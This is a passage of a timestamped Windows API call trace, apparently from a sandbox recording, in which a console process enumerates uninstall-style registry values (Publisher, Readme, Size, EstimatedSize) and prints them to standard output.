__iob_func () returned 0x7fefd702a80 [0150.464] _fileno (_File=0x7fefd702ab0) returned 1 [0150.464] _errno () returned 0x204bb0 [0150.464] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.464] _errno () returned 0x204bb0 [0150.464] GetFileType (hFile=0x50) returned 0x1 [0150.464] lstrlenW (lpString="Publisher") returned 9 [0150.464] GetConsoleOutputCP () returned 0x1b5 [0150.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.464] GetConsoleOutputCP () returned 0x1b5 [0150.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0150.464] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.464] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.464] __iob_func () returned 0x7fefd702a80 [0150.464] _fileno (_File=0x7fefd702ab0) returned 1 [0150.464] _errno () returned 0x204bb0 [0150.464] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.464] _errno () returned 0x204bb0 [0150.464] GetFileType (hFile=0x50) returned 0x1 [0150.464] lstrlenW (lpString=" ") returned 4 [0150.464] GetConsoleOutputCP () returned 0x1b5 [0150.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.465] GetConsoleOutputCP () returned 0x1b5 [0150.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.465] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.465] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.465] __iob_func () returned 0x7fefd702a80 [0150.465] _fileno (_File=0x7fefd702ab0) returned 1 [0150.465] _errno () returned 0x204bb0 [0150.465] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.465] _errno () returned 0x204bb0 [0150.465] GetFileType (hFile=0x50) returned 0x1 [0150.465] lstrlenW (lpString="REG_SZ") returned 6 [0150.465] GetConsoleOutputCP () returned 0x1b5 [0150.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.465] GetConsoleOutputCP () returned 0x1b5 [0150.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.465] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.465] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.465] __iob_func () returned 0x7fefd702a80 [0150.465] _fileno (_File=0x7fefd702ab0) returned 1 [0150.465] _errno () returned 0x204bb0 [0150.465] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.465] _errno () returned 0x204bb0 [0150.465] GetFileType (hFile=0x50) returned 0x1 [0150.466] lstrlenW (lpString=" ") returned 4 [0150.466] GetConsoleOutputCP () returned 0x1b5 [0150.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.466] GetConsoleOutputCP () returned 0x1b5 [0150.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.466] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.466] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.466] __iob_func () returned 0x7fefd702a80 [0150.466] _fileno (_File=0x7fefd702ab0) returned 1 [0150.466] _errno () returned 0x204bb0 [0150.466] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.466] _errno () returned 0x204bb0 [0150.466] GetFileType (hFile=0x50) returned 0x1 [0150.466] lstrlenW (lpString="Microsoft Corporation") returned 21 [0150.466] GetConsoleOutputCP () returned 0x1b5 [0150.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0150.466] GetConsoleOutputCP () returned 0x1b5 [0150.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0150.466] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0150.466] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.467] __iob_func () returned 0x7fefd702a80 [0150.467] _fileno (_File=0x7fefd702ab0) returned 1 [0150.467] _errno () returned 0x204bb0 [0150.467] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.467] _errno () returned 0x204bb0 [0150.467] GetFileType (hFile=0x50) returned 0x1 [0150.467] lstrlenW (lpString="\n") returned 1 [0150.467] GetConsoleOutputCP () returned 0x1b5 [0150.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.467] GetConsoleOutputCP () returned 0x1b5 [0150.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.467] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.467] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.467] GetProcessHeap () returned 0x3c0000 [0150.467] GetProcessHeap () returned 0x3c0000 [0150.467] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.467] GetProcessHeap () returned 0x3c0000 [0150.467] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0150.467] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.467] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.467] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.467] GetProcessHeap () returned 0x3c0000 [0150.467] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.467] GetProcessHeap () returned 0x3c0000 [0150.467] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.467] GetProcessHeap () returned 0x3c0000 [0150.467] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.468] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.468] __iob_func () returned 0x7fefd702a80 [0150.468] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.468] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.468] _fileno (_File=0x7fefd702ab0) returned 1 [0150.468] _errno () returned 0x204bb0 [0150.468] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.468] _errno () returned 0x204bb0 [0150.468] GetFileType (hFile=0x50) returned 0x1 [0150.468] lstrlenW (lpString=" ") returned 4 [0150.468] GetConsoleOutputCP () returned 0x1b5 [0150.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.468] GetConsoleOutputCP () returned 0x1b5 [0150.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.468] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.468] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.468] lstrlenW (lpString="Readme") returned 6 [0150.468] __iob_func () returned 0x7fefd702a80 [0150.468] _fileno (_File=0x7fefd702ab0) returned 1 [0150.468] _errno () returned 0x204bb0 [0150.468] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.468] _errno () returned 0x204bb0 [0150.468] GetFileType (hFile=0x50) returned 0x1 [0150.468] lstrlenW (lpString="Readme") returned 6 [0150.468] GetConsoleOutputCP () returned 0x1b5 [0150.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.469] GetConsoleOutputCP () returned 0x1b5 [0150.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0150.469] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.469] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.469] __iob_func () returned 0x7fefd702a80 [0150.469] _fileno (_File=0x7fefd702ab0) returned 1 [0150.469] _errno () returned 0x204bb0 [0150.469] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.469] _errno () returned 0x204bb0 [0150.469] GetFileType (hFile=0x50) returned 0x1 [0150.469] lstrlenW (lpString=" ") returned 4 [0150.469] GetConsoleOutputCP () returned 0x1b5 [0150.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.469] GetConsoleOutputCP () returned 0x1b5 [0150.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.469] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.469] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.469] __iob_func () returned 0x7fefd702a80 [0150.469] _fileno (_File=0x7fefd702ab0) returned 1 [0150.470] _errno () returned 0x204bb0 [0150.470] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.470] _errno () returned 0x204bb0 [0150.470] GetFileType (hFile=0x50) returned 0x1 [0150.470] lstrlenW (lpString="REG_SZ") returned 6 [0150.470] GetConsoleOutputCP () returned 0x1b5 [0150.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.470] GetConsoleOutputCP () returned 0x1b5 [0150.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.470] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.470] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.470] __iob_func () returned 0x7fefd702a80 [0150.470] _fileno (_File=0x7fefd702ab0) returned 1 [0150.470] _errno () returned 0x204bb0 [0150.470] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.470] _errno () returned 0x204bb0 [0150.470] GetFileType (hFile=0x50) returned 0x1 [0150.470] lstrlenW (lpString=" ") returned 4 [0150.470] GetConsoleOutputCP () returned 0x1b5 [0150.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.470] GetConsoleOutputCP () returned 0x1b5 [0150.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.471] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.471] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.471] __iob_func () returned 0x7fefd702a80 [0150.471] _fileno (_File=0x7fefd702ab0) returned 1 [0150.471] _errno () returned 0x204bb0 [0150.471] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.471] _errno () returned 0x204bb0 [0150.471] GetFileType (hFile=0x50) returned 0x1 [0150.471] lstrlenW (lpString="") returned 0 [0150.471] __iob_func () returned 0x7fefd702a80 [0150.471] _fileno (_File=0x7fefd702ab0) returned 1 [0150.471] _errno () returned 0x204bb0 [0150.471] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.471] _errno () returned 0x204bb0 [0150.471] GetFileType (hFile=0x50) returned 0x1 [0150.471] lstrlenW (lpString="\n") returned 1 [0150.471] GetConsoleOutputCP () returned 0x1b5 [0150.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.471] GetConsoleOutputCP () returned 0x1b5 [0150.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.471] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.471] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.471] GetProcessHeap () returned 0x3c0000 [0150.471] GetProcessHeap () returned 0x3c0000 [0150.471] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.471] GetProcessHeap () returned 0x3c0000 [0150.471] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.472] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.472] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.472] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.472] GetProcessHeap () returned 0x3c0000 [0150.472] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.472] GetProcessHeap () returned 0x3c0000 [0150.472] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.472] GetProcessHeap () returned 0x3c0000 [0150.472] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.472] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.472] __iob_func () returned 0x7fefd702a80 [0150.472] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.472] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.472] _fileno (_File=0x7fefd702ab0) returned 1 [0150.472] _errno () returned 0x204bb0 [0150.472] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.472] _errno () returned 0x204bb0 [0150.472] GetFileType (hFile=0x50) returned 0x1 [0150.472] lstrlenW (lpString=" ") returned 4 [0150.472] GetConsoleOutputCP () returned 0x1b5 [0150.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.472] GetConsoleOutputCP () returned 0x1b5 [0150.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.472] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.472] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.472] lstrlenW (lpString="Size") returned 4 [0150.473] __iob_func () returned 0x7fefd702a80 [0150.473] _fileno (_File=0x7fefd702ab0) returned 1 [0150.473] _errno () returned 0x204bb0 [0150.473] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.473] _errno () returned 0x204bb0 [0150.473] GetFileType (hFile=0x50) returned 0x1 [0150.473] lstrlenW (lpString="Size") returned 4 [0150.473] GetConsoleOutputCP () returned 0x1b5 [0150.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.473] GetConsoleOutputCP () returned 0x1b5 [0150.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0150.473] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.473] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.473] __iob_func () returned 0x7fefd702a80 [0150.473] _fileno (_File=0x7fefd702ab0) returned 1 [0150.473] _errno () returned 0x204bb0 [0150.473] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.473] _errno () returned 0x204bb0 [0150.473] GetFileType (hFile=0x50) returned 0x1 [0150.473] lstrlenW (lpString=" ") returned 4 [0150.473] GetConsoleOutputCP () returned 0x1b5 [0150.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.473] GetConsoleOutputCP () returned 0x1b5 [0150.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.474] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.474] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.474] __iob_func () returned 0x7fefd702a80 [0150.474] _fileno (_File=0x7fefd702ab0) returned 1 [0150.474] _errno () returned 0x204bb0 [0150.474] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.474] _errno () returned 0x204bb0 [0150.474] GetFileType (hFile=0x50) returned 0x1 [0150.474] lstrlenW (lpString="REG_SZ") returned 6 [0150.474] GetConsoleOutputCP () returned 0x1b5 [0150.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.474] GetConsoleOutputCP () returned 0x1b5 [0150.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.474] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.474] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.474] __iob_func () returned 0x7fefd702a80 [0150.474] _fileno (_File=0x7fefd702ab0) returned 1 [0150.474] _errno () returned 0x204bb0 [0150.474] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.474] _errno () returned 0x204bb0 [0150.474] GetFileType (hFile=0x50) returned 0x1 [0150.474] lstrlenW (lpString=" ") returned 4 [0150.474] GetConsoleOutputCP () returned 0x1b5 [0150.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.475] GetConsoleOutputCP () returned 0x1b5 [0150.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.475] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.475] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.475] __iob_func () returned 0x7fefd702a80 [0150.475] _fileno (_File=0x7fefd702ab0) returned 1 [0150.475] _errno () returned 0x204bb0 [0150.475] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.475] _errno () returned 0x204bb0 [0150.475] GetFileType (hFile=0x50) returned 0x1 [0150.475] lstrlenW (lpString="") returned 0 [0150.475] __iob_func () returned 0x7fefd702a80 [0150.475] _fileno (_File=0x7fefd702ab0) returned 1 [0150.475] _errno () returned 0x204bb0 [0150.475] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.475] _errno () returned 0x204bb0 [0150.475] GetFileType (hFile=0x50) returned 0x1 [0150.475] lstrlenW (lpString="\n") returned 1 [0150.475] GetConsoleOutputCP () returned 0x1b5 [0150.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.475] GetConsoleOutputCP () returned 0x1b5 [0150.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.475] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.476] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.476] GetProcessHeap () returned 0x3c0000 [0150.476] GetProcessHeap () returned 0x3c0000 [0150.476] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.476] GetProcessHeap () returned 0x3c0000 [0150.476] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.476] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.476] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.476] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.476] GetProcessHeap () returned 0x3c0000 [0150.476] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.476] GetProcessHeap () returned 0x3c0000 [0150.476] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.476] GetProcessHeap () returned 0x3c0000 [0150.476] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.476] RegGetValueW 